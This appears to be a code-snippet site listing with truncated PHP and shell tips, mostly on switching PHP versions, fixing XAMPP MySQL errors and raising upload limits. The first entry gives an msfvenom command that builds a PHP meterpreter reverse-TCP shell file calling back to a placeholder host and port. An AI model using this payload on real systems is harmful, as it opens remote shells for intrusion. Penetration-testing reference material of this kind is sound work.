What do you want to save?
Add Code snippet
New code examples
-
Shell/Bash 2022-03-21 13:10:51
reverse php shell pentestmonkey
##This will create the payload file "shell.php" with your ip and port. msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php ##You can always "nano" the file to change your ipaddr... Add solution -
PHP 2022-02-18 21:45:54
debian php switch version
// Apache: sudo a2dismod php5.6 php7.1 php7.0 ## Shows error for modules not installed sudo a2enmod php7.4 sudo service apache2 restart // In case of issues disabling some modules use the following syntax sudo a2dismod mpm_prefork //-----------------... Add solution -
Other 2022-02-12 17:50:04
error: mysql shutdown unexpectedly.
So, before deleting files, first try to do what the error message in XAMPP message panel recommend you to do, using the MySQL backup folder which is included with XAMPP. So do the next: Rename the folder mysql/data to mysql/data_old (you can use any na... Add solution -
PHP 2022-02-11 16:25:24
php serialize object to json
edit: it's currently 2016-09-24, and PHP 5.4 has been released 2012-03-01, and support has ended 2015-09-01. Still, this answer seems to gain upvotes. If you're still using PHP < 5.4, your are creating a security risk and endagering your project. If yo... Add solution -
PHP 2021-11-20 04:32:09
clean function in php
/*** clean FUNCTION IN PHP PHP provides functions that help to clean up strings by removing unwanted whitespace or other characters from the beginning and/or end of the string: trim , rtrim , and ltrim. ***/ Example clean($request->description) /**... Add solution -
PHP 2021-11-19 13:56:44
connect an if statement to an input php
re: #80305 Again useful for newbies: if you need to compare a variable with a value, instead of doing <?php if ($foo == 3) bar(); ?> do <?php if (3 == $foo) bar(); ?> this way, if you forget a =, it will become <?php if (3 = $foo) b... Add solution -
PHP 2021-11-18 21:37:22
mamp change php version
As mentioned by @Scott in the comments under your question: Your here is the right link. Use the bottom answer to rename the bin/php directory. The MAMP preference pane will show the 2 latest versions in the php directory. – Scott Eisenberg And th... Add solution -
Shell/Bash 2021-11-14 06:17:10
Maximum upload file size: 2 MB
Step 1: find php.ini file in /etc folder by running below cmd: grep -rl "post_max_size" | xargs ls -lrth Here I have used post_max_size keyword to search php.ini file as might be we have to change the same on other file , It can vary ... Add solution